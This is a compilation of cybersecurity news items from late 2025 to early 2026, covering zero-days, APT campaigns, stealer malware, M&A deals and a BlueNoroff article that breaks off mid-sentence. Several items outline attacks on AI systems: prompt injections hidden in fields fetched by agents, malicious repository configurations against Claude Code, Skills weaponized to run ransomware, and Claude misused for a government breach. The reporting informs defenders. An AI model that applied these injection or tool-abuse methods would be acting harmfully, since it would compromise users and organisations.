Insights 2026: API Security – Harder to Secure, Impossible to Ignore
securityweek.comMar 17, 2026extracted
Cybercrime has skyrocketed 245% since the start of the Iran war
SYSTEMS Cerebras CS-4 rack systems juice chips for every last drop of AI performanceNext-gen systems double per-chip performance while cramming 3x as many into a rack Security Copilot tricked into telling reseachers how to hack itselfHow to social engineer an AI's reasoning engine AI and ml Payments giant Stripe is about to drop over $7 billion to become a gateway to AI token salesAI gateways look promising as companies struggle with model orchestration ai and ml Anthropic says text watermarking scheme relies on inconsequential words'Shall I compare thee to a summer's afternoon' is the sort of thing this will make, and others look likely to adopt it AI and ML DeepSeek's innovative harness treats everything as a plug-inChinese AI labs keep moving forward while US labs play defense Security Russians are posing as Signal support to launch phishing attacksPLUS: US takes down Iranian propaganda sites; Marketing company asks 'Why Do We Have Your Information?' And more! Security Microsoft patches failed to fix on-prem SharePoint, which is now under zero-day attackPLUS: China upgrades smartphone surveillance tools; Ring eases anti-snooping stance; and more Black Hat and DEF CON DEF CON Franklin project enlists hackers to harden critical infrastructureVoting village reports have been so successful, says Jeff Moss, that the whole of DEF CON will now be included Security EQT buys majority share in Swiss cybersecurity biz AcronisWent at equivalent of $3.5B+ valuation for entire firm, though portion sold not specified Malware Month Ten years since the first corp ransomware, Mikko Hyppönen sees no end in sightOn the plus side, infosec's a good bet for a long, stable career FOSS smashed one Microsoft monopoly. After 20 years of failure, it's time to smash anotherWord up GNOME can look like Windows – and Flashback can do it without extensionsNew 'Simple-taskbar' is an option, but there's a simpler, stabler way A moment of silence, please, for the final release of Debian on x86-32New Debian versions hit FOSSland in the form of 13.6 and 12.15 Baddies caught exploiting extensions bugs with perfect 10 scores on vulnerable Joomla websitesFlaws in iCagenda, Balbooa Forms extensions can impact open source CMS that powers a million sites worldwide Frame: A new X11 server – implemented directly in assemblyJoins yserver, Phoenix, and of course XLibre – and outlier Arcan Cinnamon 6.8 will support Wayland – if you want itNext version of Linux Mint’s desktop has both kinds of display server
go.theregister.comMar 16, 2026extracted
⚡ Weekly Recap: SD-WAN 0-Day, Critical CVEs, Telegram Probe, Smart TV Proxy SDK and More
This week is not about one big event. It shows where things are moving. Network systems, cloud setups, AI tools, and common apps are all being pushed in different ways. Small gaps in access control, exposed keys, and normal features are being used as entry points. The pattern becomes clear only when you see everything together. Faster scans, smarter misuse of trusted services, and steady targeting of high-value sectors. Each story adds context. Reading them all gives a fuller picture of how today’s threat landscape is evolving. ⚡ Threat of the Week Cisco SD-WAN Zero-Day Exploited — A newly disclosed maximum-severity security flaw in Cisco Catalyst SD-WAN Controller (formerly vSmart) and Catalyst SD-WAN Manager (formerly vManage) has come under active exploitation in the wild as part of malicious activity that dates back to 2023. The vulnerability, tracked as CVE-2026-20127 (CVSS score: 10.0), allows an unauthenticated remote attacker to bypass authentication and obtain administrative privileges on an affected system by sending a crafted request. Cisco credited the Australian Signals Directorate's Australian Cyber Security Centre (ASD-ACSC) for reporting the vulnerability. The networking equipment major is tracking the exploitation and subsequent post-compromise activity under the moniker UAT-8616, describing the cluster as a "highly sophisticated cyber threat actor." Control Your AI Agents Before They Control You Airia is the governance and orchestration layer for enterprise AI. Monitor drift, enforce policy, optimize inference cost, and generate audit-ready evidence—so your AI scales securely, compliantly, and profitably. Request a Demo ➝ 🔔 Top News Anthropic Accuses 3 Chinese Firms of Distillation Attacks — Anthropic accused three Chinese AI firms of engaging in concerted "industrial-scale" distillation attack campaigns aimed at extracting information from its model, making it the latest American tech firm to level such claims after OpenAI issued similar complaints. DeepSeek, Moonshot AI, and MiniMax are said to have flooded Claude with large volumes of specially-crafted prompts to elicit responses to train their own proprietary models. Last month, OpenAI submitted an open letter to U.S. legislators, claiming to have observed activity "indicative of ongoing attempts by DeepSeek to distill frontier models of OpenAI and other U.S. frontier labs, including through new, obfuscated methods." The disclosure renewed a debate over training data sources and distillation techniques, with some criticizing the company for training its own systems using copyrighted material without permission. "Anthropic is guilty of stealing training data at a massive scale and has had to pay multibillion-dollar settlements for their theft," xAI CEO Elon Musk said. Google Disrupts UNC2814 GRIDTIDE Campaign — Google disclosed that it worked with industry partners to disrupt the infrastructure of a suspected China-nexus cyber espionage group tracked as UNC2814 that breached at least 53 organizations across 42 countries. The tech giant described UNC2814 as a prolific, elusive actor that has a history of targeting international governments and global telecommunications organizations across Africa, Asia, and the Americas. Central to the hacking group's operations is a novel backdoor dubbed GRIDTIDE that abuses Google Sheets API as a communication channel to disguise C2 traffic and facilitate the transfer of raw data and shell commands. Chinese cyber espionage groups have consistently prioritized the telecommunication sector as a target precisely because of the access their networks provide to sensitive data and lawful intercept infrastructure. Thousands of Public Google Cloud API Keys Exposed with Gemini Access — New research has found that Google Cloud API keys, typically designated as project identifiers for billing purposes, could be abused to authenticate to sensitive Gemini endpoints and access private data. The problem occurs when users enable the Gemini API on a Google Cloud project (i.e., Generative Language API), causing the existing API keys in that project, including those accessible via the website JavaScript code, to gain surreptitious access to Gemini endpoints without any warning or notice. With a valid key, an attacker can access uploaded files, cached data, and even rack up LLM usage charges, Truffle Security said. The issue has since been plugged by Google. UAT-10027 Targets U.S. Education and Healthcare Sectors — A previously undocumented threat activity cluster known as UAT-10027 has been attributed to an ongoing malicious campaign targeting education and healthcare sectors in the U.S. since at least December 2025. The end goal of the attacks is to deliver a never-before-seen backdoor codenamed Dohdoor. "Dohdoor utilizes the DNS-over-HTTPS (DoH) technique for command-and-control (C2) communications and has the ability to download and execute other payload binaries reflectively," Cisco Talos said. Analysis of the campaign has revealed no evidence of data exfiltration to date. Although no final payloads have been observed other than what appears to be the Cobalt Strike Beacon to backdoor into the victim's environment, it's believed that UAT-10027's actions are likely driven by financial gain based on the victimology pattern. Claude Code Flaws Allow Remote Code Execution and API Key Exfiltration — Security vulnerabilities in Anthropic Claude Code could have allowed attackers to remotely execute code on users' machines and steal API keys by injecting malicious configurations into repositories, and then waiting for an unsuspecting developer to clone and open an untrustworthy project. The vulnerabilities were addressed between September 2025 and January 2026. "The ability to execute arbitrary commands through repository-controlled configuration files created severe supply chain risks, where a single malicious commit could compromise any developer working with the affected repository," Check Point said. "The integration of AI into development workflows brings tremendous productivity benefits, but also introduces new attack surfaces that weren't present in traditional tools." ️🔥 Trending CVEs New vulnerabilities surface daily, and attackers move fast. Reviewing and patching early keeps your systems resilient. Here are this week’s most critical flaws to check first — CVE-2025-40538, CVE-2025-40539, CVE-2025-40540, CVE-2025-40541 (SolarWinds Serv-U), CVE-2026-20127, CVE-2026-20122, CVE-2026-20126, CVE-2026-20128 (Cisco Catalyst SD-WAN), CVE-2026-25755 (jsPDF), CVE-2025-12543 (HPE Telco Service Activator), CVE-2026-22719, CVE-2026-22720, CVE-2026-22721 (Broadcom VMware Aria Operations), CVE-2026-3061, CVE-2026-3062, CVE-2026-3063 (Google Chrome), CVE-2025-10010 (CryptoPro Secure Disk for BitLocker), CVE-2025-13942, CVE-2025-13943, CVE-2026-1459 (Zyxel), CVE-2025-71210, CVE-2025-71211 (Trend Micro Apex One), CVE-2026-0542 (ServiceNow AI Platform), CVE-2026-24061 (telnetd), CVE-2026-21902 (Juniper Networks Junos OS), CVE-2025-29631, CVE-2025-1242 (Gardyn Home Kit), CVE-2025-15576 (FreeBSD), CVE-2026-26365 (Akamai), CVE-2026-27739 (Angular), and SVE-2025-50109 (Samsung Tizen OS). 🎥 Cybersecurity Webinars Automating Real-World Security Testing to Prove What Actually Works → This webinar explains why one-time security assessments are no longer enough and shows how organizations can automate continuous, real-world testing of their defenses to uncover gaps and measure how well controls hold up against actual attack techniques. When AI Agents Become Your New Attack Surface → This webinar explains that as AI tools turn into autonomous agents that can browse, call APIs, and access internal systems, the security risk expands beyond the model to the entire environment they operate in, requiring stricter access controls, monitoring, and system-level safeguards rather than model testing alone. Quantum Is Coming: Preparing for the End of Today’s Encryption → This webinar explains how future quantum computers could break today’s encryption, why “harvest now, decrypt later” attacks are a real risk, and what practical steps organizations can take now to begin shifting to post-quantum cryptography. 📰 Around the Cyber World UNC6384 Drops New PlugX Variant — IIJ-SECT and LAB52 have detailed new activity from the Chinese cyber espionage group UNC6384. The attacks follow a known modus operandi of using STATICPLUGIN, a digitally signed downloader, to deliver updated versions of PlugX using DLL side-loading. The malicious payloads are distributed via phishing emails with meeting invitation lures or through fake software updates. OpenAI Takes Action Against ChatGPT Accounts Used for Harmful Purposes — OpenAI said it took down ChatGPT accounts used for influence operations, phishing, and malware development. This included a possible Chinese intelligence operation in which an individual associated with Chinese law enforcement used the AI tool for covert influence operations against domestic and foreign adversaries. The company also acted against clusters conducting reconnaissance about U.S. persons and federal building locations, online romance scams, and Russian influence operations across Africa by generating social media posts and long-form commentary articles. "Unusually, this scam network combined manual ChatGPT prompting and an automated AI chatbot to try to entrap its targets," OpenAI said about the scam operation running out of Cambodia. Some of these scams targeted Indonesian loveseekers. Other scams used ChatGPT to create content that purported to come from fictitious law firms, as well as impersonate real attorneys and U.S. law enforcement as part of a recovery scam targeting fraud victims. AI-Induced Lateral Movement — New research from Orca Security has highlighted how AI can become a "third dimension" in the world of lateral movement, after network and identity, allowing attackers to expand their reach. "By injecting prompt injections in overlooked fields that are fetched by AI agents, hackers can trick LLMs, abuse Agentic tools, and carry out significant security incidents," Orca said. "LLMs don’t truly understand the difference between data and instructions, and when tool output is fed back into the model, it can be interpreted as something to act on. Which opens a window to AI-induced Lateral Movement (AILM) activities." Russia Launches Probe into Telegram CEO — Russian authorities launched a criminal investigation of Telegram founder and CEO Pavel Durov. He is allegedly charged with promoting and facilitating terrorist activity on the messaging platform by failing to respond to law enforcement takedown requests. Russian officials have accused Durov of choosing a "path of violence and permissiveness" by not cooperating with its law enforcement agencies, according to the Rossiyskaya Gazeta. The move comes after Russia began restricting access to Telegram in the country in favor of MAX. Last month, Durov called it an "attempt to force its citizens to switch to a state-controlled app built for surveillance and political censorship." Hacked Prayer App Sends Surrender Messages — According to reports from The Wall Street Journal and WIRED, unidentified hackers seized control of an Iranian prayer app during a joint U.S.-Israeli attack to send messages urging the Iranian military to lay down their weapons and promising amnesty if they surrendered. The messages were sent in the form of push notifications to the BadeSaba Calendar app. It's currently not clear who is behind the hack. The app has been downloaded more than 5 million times from the Google Play Store. Following the U.S.-Israel war on Iran, the government shut down all internet access in the country. Smart TVs Turned Into AI Content Scrapers — Several smart TV app makers are deploying a new SDK named Bright SDK that lets users see fewer ads but also stealthily turns their TV into a node in a global proxy network that crawls and scrapes the web. Bright Data, the company behind the SDK, claims to operate more than 150 million residential proxy IP addresses spanning 195 countries. Multiple Stealer Malware Families Detected — Multiple information stealer families have been detected in the wild. This includes Arkanix, CharlieKirk GRABBER, ComSuon, DarkCloud, MawaStealer, and MioLab (NovaStealer). Kaspersky's analysis of Arkanix has revealed that it was likely developed as an LLM-assisted experiment, shrinking development time and costs. While Arkanix was promoted on underground forums in October 2025, the malware-as-a-service (MaaS) appears to have been taken down towards the end of 2025. The findings demonstrate continued demand for off-the-key stealer malware, creating an ecosystem that enables other threat actors to purchase stealer logs for obtaining initial access to targets. "Raw Infostealer logs are meticulously filtered by corporate domain, packaged, and sold to initial access brokers and attackers specifically looking for frictionless entry points into high-value corporate networks," Hudson Rock said. The development has been complemented by underground networks turning into cybercrime marketplaces, complete with reputation systems, escrow, and specialist vendors, Varonis added. "One operator runs infostealers across thousands of machines. Another extracts and sorts the credentials. A third sells curated access," security researcher Daniel Kelley said. "A fourth deploys the ransomware. Each person focuses on what they do best, and the ecosystem has become ruthlessly efficient." Chilean National Extradited to U.S. to Face Financial Fraud Crimes — Alex Rodrigo Valenzuela Monje (aka VAL4K), a 24-year-old Chilean national, has been extradited to the U.S. over his alleged role in running a cybercrime operation that involved the trafficking of payment card data. The defendant is accused of trafficking stolen credit card numbers and information for over 26,500 credit cards. "From at least May 2021 to August 2023, Valenzuela Monje operated an illegal online card shop, selling dumps of unauthorized access devices through Telegram channels," the U.S. Justice Department said. "He allegedly operated the channels known as MacacoCC Collective and Novato Carding, offering payment card data for virtually all U.S. payment cards." New FUNNULL Infrastructure Discovered — QiAnXin has flagged new infrastructure associated with FUNNULL, a Philippines-based content delivery network (CDN) sanctioned last year by the U.S. Treasury for facilitating cyber scam operations. "Previously, their main method was to poison existing public CDN services; now they have evolved to independently develop complete server-side attack suites (RingH23), actively infiltrating CDN nodes, demonstrating a significant improvement in control and technical sophistication," QiAnXin XLab said. Two independent supply chain infection channels have been identified: the compromise of maccms.la to distribute a malicious PHP backdoor through its update channel, and the compromise of the GoEdge CDN management node to implant an infection module, and deploy the proprietary RingH23 attack suite to all edge nodes via SSH remote commands. The campaign has compromised 10,748 unique IP addresses, predominantly video streaming sites. Spike in Scans for SonicWall Devices — GreyNoise said it detected a spike in scans for SonicWall devices originating from the infrastructure of a known proxy provider. The activity started on February 22, 2026, and scanned for exposed SonicWall SSL VPNs. A total of 84,142 scanning sessions targeting SonicWall SonicOS infrastructure were observed between February 22 and February 25, 2026. The scanning came from 4,305 unique IP addresses across 20 autonomous systems. "Ninety-two percent of sessions probed a single API endpoint to determine whether SSL VPN is enabled — the prerequisite check before credential attacks," GreyNoise said. "A commercial proxy service delivered 32% of campaign volume through 4,102 rotating exit IPs in two surgical bursts totaling 16 hours." Google Removes 115 Android Apps Tied to Ad Fraud — A new ad fraud operation dubbed Genisys involved hijacking Android devices to run malicious activity in the background. The activity leveraged a set of 115 apps that stealthily opened websites inside hidden browser windows to generate ad display revenue for their creators. More than 500 domains were generated using AI tools to serve the ads. "They appear as generic blogs, news-style sites, and informational properties produced at scale, built not to attract real audiences but to receive and monetize fraudulent traffic," Integral Ads said. The apps have since been removed by Google. The findings build on another mobile ad fraud scheme called Arcade in which mobile apps generated hidden in-app browser activity to load websites in the background and convert mobile-origin activity into web traffic. Zerobot Exploits Flaws in n8n and Tenda Routers — A Mirai-based IoT botnet named Zerobot has been observed exploiting vulnerabilities in the n8n AI automation platform (CVE-2025-68613) and Tenda routers (CVE-2025-7544) to expand its reach. The activity was first detected in January 2026. "Targeting of the n8n vulnerability is particularly interesting: Botnets typically exploit Internet of Things (IoT) devices, such as security cameras, DVRs, and routers, but n8n falls into an entirely different category," Akamai said. "Although this isn’t entirely new behavior for botnets, this sort of targeting presents a greater danger to organizations by exposing more critical infrastructure to compromise as the n8n exploit could enable lateral movement for a threat actor." Various ClickFix Campaigns Spotted — Threat hunters disclosed multiple ClickFix campaigns, including one leading to a hands-on-keyboard attack that deployed the Termite ransomware. The attack has been attributed to a group known as Velvet Tempest (DEV-0504). Another ClickFix campaign, codenamed OCRFix, used websites impersonating the Tesseract OCR tool as a launchpad for delivering malware that uses EtherHiding to retrieve the C2 server, send system information, and await further instructions. A third campaign has been found employing fake GitHub repositories impersonating software companies and leveraging ClickFix to social-engineer victims into installing infostealers, such as SHub Stealer v2.0. GTFire Phishing Scheme Detailed — A phishing campaign dubbed GTFire is abusing Google Firebase to host phishing pages and Google Translate to disguise the malicious URLs and bypass email and web security filters. "By chaining these services together, the attackers create phishing links that appear benign, leverage Google’s reputation, and dynamically redirect victims to brand‑impersonating login pages," Group-IB said. "Once credentials are submitted and harvested, victims are often redirected back to the legitimate website of the targeted organization, reducing suspicion and delaying incident response." The campaign is estimated to have harvested thousands of stolen credentials associated with more than a thousand organizations, spanning over a hundred countries and hundreds of industries. The threat actor behind the operation has been active since at least January 1, 2022. Mexico, the U.S., Spain, India, and Argentina are among the prominent targets. C77L Ransomware Targets Russia — A ransomware operation called C77L has been tied to at least 40 attacks on Russian and Belarusian enterprises since March 2025. The group is assessed to be operating out of Iran. Initial access to target networks is accomplished via weak passwords for publicly available RDP and VPN endpoints. "The targets of attacks are Windows systems due to their overwhelming predominance in the IT infrastructures of medium and small businesses," F6 said. RESURGE Malware Can Be Dormant on Infected Ivanti Devices — The U.S. Cybersecurity and Infrastructure Security Agency (CISA) updated its original alert for RESURGE, a piece of malware deployed as part of exploitation activity targeting a now-patched security flaw in Ivanti Connect Secure (ICS) appliances. The agency said "RESURGE has sophisticated network-level evasion and authentication techniques, leveraging advanced cryptographic methods and forged TLS certificates to facilitate covert communications," adding "RESURGE can remain latent on systems until a remote actor attempts to connect to the compromised device." 30 Members of The Com Arrested — A coordinated law enforcement operation led by Europol detained 30 individuals connected to an underground online community known as The Com. The operation, launched in January 2025, has been codenamed Project Compass. An additional 179 members were also identified as part of the investigation. The Com is the name assigned to a loose-knit cybercrime collective that has been linked to online doxxing, harassment, threats of violence, extortion, sexual exploitation, phishing, SIM swapping, ransomware, and other digital crimes. Europol described The Com as a decentralized extremist network. U.K. Government Cuts Cyber Attack Fix Times by 84% — The U.K. government has claimed it has reduced its backlog of critical vulnerabilities by 75% and reduced cyber attack fix times by 87%. Serious security weaknesses in public sector websites are fixed six times faster, cutting the average time from nearly two months to just over a week, the U.K. government said in an update published on 26 February. Poland Dismantles Organized Crime Group — Poland's Central Bureau for Combating Cybercrime (CBZC) dismantled an organized group that used phishing to take control of Facebook accounts and extract BLIK payment codes from victims. Eleven members of an organized criminal group operating in Poland and Germany between May 2022 and May 2024 were identified. Six suspects have been placed in pretrial detention as part of the investigation, and over 100,000 credentials were seized. The group used "phishing techniques to obtain login details for Facebook accounts, and then gained access to them and used instant messaging to extort BLIK codes from other users of the portal," CBZC said. Hacker Exploits Clade to Target Mexican Government Sites — An unknown hacker exploited Anthropic's Claude chatbot to carry out attacks against Mexican government agencies, according to a report by Gambit Security. "Within a month of the initial compromise, ten government bodies and one financial institution were affected, approximately 195 million identities exposed, and roughly 150GB of data exfiltrated: tax records, civil registry files, voter data," the company said. "The attacker even built an automated system that forges official government tax certificates using live data. It was orchestrated by an individual actor directing AI to operate as a nation-state-level team of operators and analysts." The operation ran on more than 1,000 prompts and regularly passed information to OpenAI's GPT-4.1 for analysis. The breach began in late December 2025 and continued for about a month. Anthropic has since disrupted the activity and banned all of the accounts involved. The attacks haven't been attributed to a specific group. 🔧 Cybersecurity Tools Titus → It is an open-source tool from Praetorian that scans code, files, repositories, and traffic to find leaked credentials like API keys and tokens. It uses hundreds of pattern rules and can check whether a detected secret is actually active. You can run it as a command-line tool, use it inside other tools as a Go library, or use it as extensions in Burp Suite or a browser to uncover credential leaks in different workflows. Sirius → It is an open-source vulnerability scanning platform on GitHub that automates network and system security checks to find weaknesses and risks in infrastructure. It combines community-driven security data with automated tests, runs within containers, and gives operators a unified view of vulnerabilities to prioritize remediation. Disclaimer: These tools are provided for research and educational use only. They are not security-audited and may cause harm if misused. Review the code, test in controlled environments, and comply with all applicable laws and policies. Conclusion Viewed one by one, these incidents seem contained. Seen together, they show how risk now flows across connected systems that organizations rely on daily. Infrastructure, AI platforms, cloud services, and third-party tools are deeply intertwined, and strain in one area often exposes another. The takeaway is clarity, not alarm. Adversaries are improving efficiency, scaling access, and operating inside normal processes. Reading through each report helps map that shift and understand how the broader environment is changing.
thehackernews.comMar 2, 2026extracted
APT28 Tied to CVE-2026-21513 MSHTML 0-Day Exploited Before Feb 2026 Patch Tuesday
A recently disclosed security flaw patched by Microsoft may have been exploited by the Russia-linked state-sponsored threat actor known as APT28, according to new findings from Akamai. The vulnerability in question is CVE-2026-21513 (CVSS score: 8.8), a high-severity security feature bypass affecting the MSHTML Framework. "Protection mechanism failure in MSHTML Framework allows an unauthorized attacker to bypass a security feature over a network," Microsoft noted in its advisory for the flaw. It was fixed by the Windows maker as part of its February 2026 Patch Tuesday update. However, the tech giant also noted that the vulnerability had been exploited as a zero-day in real-world attacks, crediting the Microsoft Threat Intelligence Center (MSTIC), Microsoft Security Response Center (MSRC), and Office Product Group Security Team, along with Google Threat Intelligence Group (GTIG), for reporting it. In a hypothetical attack scenario, a threat actor could weaponize the vulnerability by persuading a victim to open a malicious HTML file or shortcut (LNK) file delivered through a link or as an email attachment. Once the crafted file is opened, it manipulates browser and Windows Shell handling, causing the content to be executed by the operating system, Microsoft noted. This, in turn, allows the attacker to bypass security features and potentially achieve code execution. While the company has not officially shared any details about the zero-day exploitation effort, Akamai said it identified a malicious artifact that was uploaded to VirusTotal on January 30, 2026, and is associated with infrastructure linked to APT28. It's worth noting that the sample was flagged by the Computer Emergency Response Team of Ukraine (CERT-UA) early last month in connection with APT28's attacks exploiting another security flaw in Microsoft Office (CVE-2026-21509, CVSS score: 7.8). The web infrastructure company said CVE-2026-21513 is rooted in the logic within "ieframe.dll" that handles hyperlink navigation, and that it's the result of insufficient validation of the target URL, which allows attacker-controlled input to reach code paths that invoke ShellExecuteExW. This, in turn, enables execution of local or remote resources outside the intended browser security context. "This payload involves a specially crafted Windows Shortcut (LNK) that embeds an HTML file immediately after the standard LNK structure," security researcher Maor Dahan said. "The LNK file initiates communication with the domain wellnesscaremed[.]com, which is attributed to APT28 and has been in extensive use for the campaign's multistage payloads. The exploit leverages nested iframes and multiple DOM contexts to manipulate trust boundaries." Akamai noted that the technique makes it possible for an attacker to bypass Mark-of-the-Web (MotW) and Internet Explorer Enhanced Security Configuration (IE ESC), leading to a downgrade of the security context and ultimately facilitating the execution of malicious code outside of the browser sandbox via ShellExecuteExW. "While the observed campaign leverages malicious LNK files, the vulnerable code path can be triggered through any component embedding MSHTML," the company added. "Therefore, additional delivery mechanisms beyond LNK-based phishing should be expected."
thehackernews.comMar 2, 2026extracted
Akamai CEO wants help to defeat piracy, reckons he can handle edge AI alone
ai and ML AI slop is good for business if you know what you're doingYour irresponsibility is someone else's opportunity SAAS Salesforce partners not seeing meaningful revenue from Agentforce AI platform, report saysShow us the money ai and ml AI companies are burning books, advocates complain to FTCFahrenheit 203, the temperature GPUs stop gorging on literature DEVOPS Go updates may delight diehard gophers but displease AI overlordsv 1.27 expands generics to support methods EDGE AND IOT Waymo has designed a robocar chip to stay ahead of Tesla5 nm ML accelerators promise 1,000+ TOPS, ultra-low latency Security Russians are posing as Signal support to launch phishing attacksPLUS: US takes down Iranian propaganda sites; Marketing company asks 'Why Do We Have Your Information?' And more! Security Microsoft patches failed to fix on-prem SharePoint, which is now under zero-day attackPLUS: China upgrades smartphone surveillance tools; Ring eases anti-snooping stance; and more Black Hat and DEF CON DEF CON Franklin project enlists hackers to harden critical infrastructureVoting village reports have been so successful, says Jeff Moss, that the whole of DEF CON will now be included Security EQT buys majority share in Swiss cybersecurity biz AcronisWent at equivalent of $3.5B+ valuation for entire firm, though portion sold not specified Malware Month Ten years since the first corp ransomware, Mikko Hyppönen sees no end in sightOn the plus side, infosec's a good bet for a long, stable career FOSS smashed one Microsoft monopoly. After 20 years of failure, it's time to smash anotherWord up GNOME can look like Windows – and Flashback can do it without extensionsNew 'Simple-taskbar' is an option, but there's a simpler, stabler way A moment of silence, please, for the final release of Debian on x86-32New Debian versions hit FOSSland in the form of 13.6 and 12.15 Baddies caught exploiting extensions bugs with perfect 10 scores on vulnerable Joomla websitesFlaws in iCagenda, Balbooa Forms extensions can impact open source CMS that powers a million sites worldwide Frame: A new X11 server – implemented directly in assemblyJoins yserver, Phoenix, and of course XLibre – and outlier Arcan Cinnamon 6.8 will support Wayland – if you want itNext version of Linux Mint’s desktop has both kinds of display server
go.theregister.comJan 20, 2026extracted
Cybersecurity M&A Roundup: 30 Deals Announced in December 2025
Thirty cybersecurity-related merger and acquisition (M&A) deals were announced in December 2025. SecurityWeek has cataloged more than 420 M&A deals in 2025. A detailed report will be published in the coming weeks. Eight acquisitions involving pure-play cybersecurity firms exceeded $1 billion. Here are some of the most important cybersecurity M&A deals announced in December 2025: Cloud and security company Akamai has acquired serverless cloud provider Fermyon. Fermyon’s WebAssembly (Wasm) function-as-a-service is being combined with Akamai’s platform to enable enterprises to build edge-native applications with better performance and lower costs. Akamai also plans to deepen the integration between the edge functions platform and its performance and security products. Application security firm Checkmarx has acquired Tromzo, a company specializing in AI-native autonomous security agents. Tromzo’s technology and engineering team will enhance the Checkmarx One platform and expand Checkmarx Assist AI agents. Tromzo founders and employees will join Checkmarx’s product and engineering organization. Integrity360 acquires Cresco and Redshift Integrity360, an Ireland-based cybersecurity firm with a presence in Europe and Africa, announced two acquisitions in December. It bought South Africa-based Redshift, which specializes in penetration testing, to strengthen its presence in South Africa and expand its SOC capabilities. It also announced buying Cresco, a cybersecurity services consultancy that serves organizations in Belgium and Luxembourg. Swedish exposure management and identity security firm Outpost24 announced the acquisition of Infinipoint, a company providing device identity, posture validation, and secure workforce access solutions. The deal marks Outpost24’s entry into the zero trust workforce access market, and enables the company to enhance its identity security capabilities. Red Hat has acquired AI security and safety company Chatterbox Labs. Red Hat said the acquisition enables it to add safety testing and guardrails to its AI. Red Hat’s MLOps capabilities will be combined with Chatterbox’s guardrail capabilities. ServiceNow to acquire Armis and Veza ServiceNow is acquiring Armis, a company specializing in solutions for discovering IT, OT, and IoT assets, in a $7.75 billion cash deal. ServiceNow is also buying identity security firm Veza, reportedly for $1 billion. The goal is to extend the capabilities of its security and risk portfolios. Threat intelligence company Silent Push has acquired HYAS, a Canada-based firm specializing in proactive threat intelligence and protective DNS solutions. The deal enables Silent Push to enhance its capabilities and expand its customer base. HYAS leadership and employees will join Silent Push, and the company will operate under the Silent Push brand. Other cybersecurity M&A deals announced in December 2025: Related: Cybersecurity M&A Roundup: 30 Deals Announced in November 2025 Related: Cybersecurity M&A Roundup: 45 Deals Announced in October 2025
securityweek.comJan 6, 2026extracted
In Other News: X Fined €120 Million, Array Flaw Exploited, New Iranian Backdoor
SecurityWeek’s cybersecurity news roundup provides a concise compilation of noteworthy stories that might have slipped under the radar. We provide a valuable summary of stories that may not warrant an entire article, but are nonetheless important for a comprehensive understanding of the cybersecurity landscape. Each week, we curate and present a collection of noteworthy developments, ranging from the latest vulnerability discoveries and emerging attack techniques to significant policy changes and industry reports. Here are this week’s stories: Claude Skills used to execute ransomware Cato Networks has used Skills, a new feature for Anthropic’s Claude AI assistant, to execute ransomware in a controlled environment. Antrophic says the code execution functionality works as intended for Skills. Cato argues that legitimate Skills could be weaponized via minor changes, and that they can propagate through public repositories and social engineering. However, the security firm admits that Claude displays clear approval prompts to the user. Array vulnerability exploited in the wild Japan’s JPCERT/CC has warned that a vulnerability affecting Array Networks’ AG secure access gateways has been exploited in attacks. The flaw, a command injection issue that does not have a CVE identifier, was patched in May 2025 with the release of ArrayOS AG 9.4.5.9. JPCERT has found evidence that the vulnerability has been exploited against users in Japan since August 2025. The impacted product is prevalent in Asia. North Korea suspected of $30 million Upbit cryptocurrency heist Upbit, a major South Korea-based cryptocurrency exchange, recently had roughly $30 million of cryptocurrency stolen. The heist is believed to be the work of the North Korean hacking group Lazarus. Back in 2019, hackers stole $49 million worth of Ethereum from Upbit. Akamai patches HTTP request smuggling vulnerability Akamai announced this week that it recently patched a vulnerability tracked as CVE-2025-66373 that could have exposed customers to HTTP request smuggling attacks. These types of attacks can typically be leveraged to steal credentials or other sensitive data, and to redirect users to arbitrary websites. HTTP request smuggling makes headlines every few years due to its potentially significant impact. CISA staff told not to speak with reporters A leaked internal email revealed that leadership at the cybersecurity agency CISA has asked staff not to talk to news reporters in an unauthorized capacity, according to Nextgov/FCW. “In today’s culture of information saturation, it is imperative that we ensure all official information communicated on behalf of CISA is current, accurate, unbiased, and authoritative. This includes any official information communicated to the media,” the email reads. It’s unclear whether the memo was triggered by a particular incident. North Korean fake IT worker recruiters caught on camera Researchers conducted a thorough investigation into North Korea’s fake IT worker scheme, detailing how legitimate developers are lured into renting their credentials and identities to secure remote jobs in companies that prohibit hiring from the country. The investigation, which included video calls with several North Korean recruiters, revealed that the recruiters asked for 24/7 access to the developer’s computer to facilitate the masquerade. X fined €120 million over disinformation The European Commission has fined the social media company X with €120 million ($139 million) over its alleged failures to handle disinformation. The fine was issued under the Digital Services Act (DSA), which requires companies to protect users against disinformation and influence operations or face fines of up to 6% of their turnover. New MuddyViper backdoor used by Iranian cyberspies The Iranian cyberespionage group named MuddyWater has developed a new backdoor dubbed MuddyViper by ESET. The security firm has observed attacks aimed at Israel, with at least one victim in Egypt. Unlike previous MuddyWater attacks, which were noisy and easy to detect, the new activity was more focused and sophisticated. PickleScan vulnerabilities JFrog has disclosed the details of three recently patched PickleScan vulnerabilities. PickleScan is a tool for scanning machine learning (ML) models to detect malicious content. The vulnerabilities found by JFrog could have been exploited to “evade PickleScan’s malware detection and potentially execute a large-scale supply chain attack by distributing malicious ML models that conceal undetectable malicious code”. Related: In Other News: HashJack AI Browser Attack, Charming Kitten Leak, Hacker Unmasked Related: In Other News: ATM Jackpotting, WhatsApp-NSO Lawsuit Continues, CISA Hiring
securityweek.comDec 5, 2025extracted
Researchers Expose GhostCall and GhostHire: BlueNoroff's New Malware Chains
Threat actors tied to North Korea have been observed targeting the Web3 and blockchain sectors as part of twin campaigns tracked as GhostCall and GhostHire. According to Kaspersky, the campaigns are part of a broader operation called SnatchCrypto that has been underway since at least 2017. The activity is attributed to a Lazarus Group sub-cluster called BlueNoroff, which is also known as APT38, CageyChameleon, CryptoCore, Genie Spider, Nickel Gladstone, Sapphire Sleet (formerly Copernicium), and Stardust Chollima. Victims of the GhostCall campaign span several infected macOS hosts located in Japan, Italy, France, Singapore, Turkey, Spain, Sweden, India, and Hong Kong, whereas Japan and Australia have been identified as the major hunting grounds for the GhostHire campaign. "GhostCall heavily targets the macOS devices of executives at tech companies and in the venture capital sector by directly approaching targets via platforms like Telegram, and inviting potential victims to investment-related meetings linked to Zoom-like phishing websites," Kaspersky researchers Sojun Ryu and Omar Amin said. "The victim would join a fake call with genuine recordings of this threat's other actual victims rather than deepfakes. The call proceeds smoothly to then encourages the user to update the Zoom client with a script. Eventually, the script downloads ZIP files that result in infection chains deployed on an infected host." On the other hand, GhostHire involves approaching prospective targets, such as Web3 developers, on Telegram and luring them into downloading and executing a booby-trapped GitHub repository under the pretext of completing a skill assessment within 30 minutes of sharing the link, so as to ensure a higher success rate of infection. Once installed, the project is designed to download a malicious payload onto the 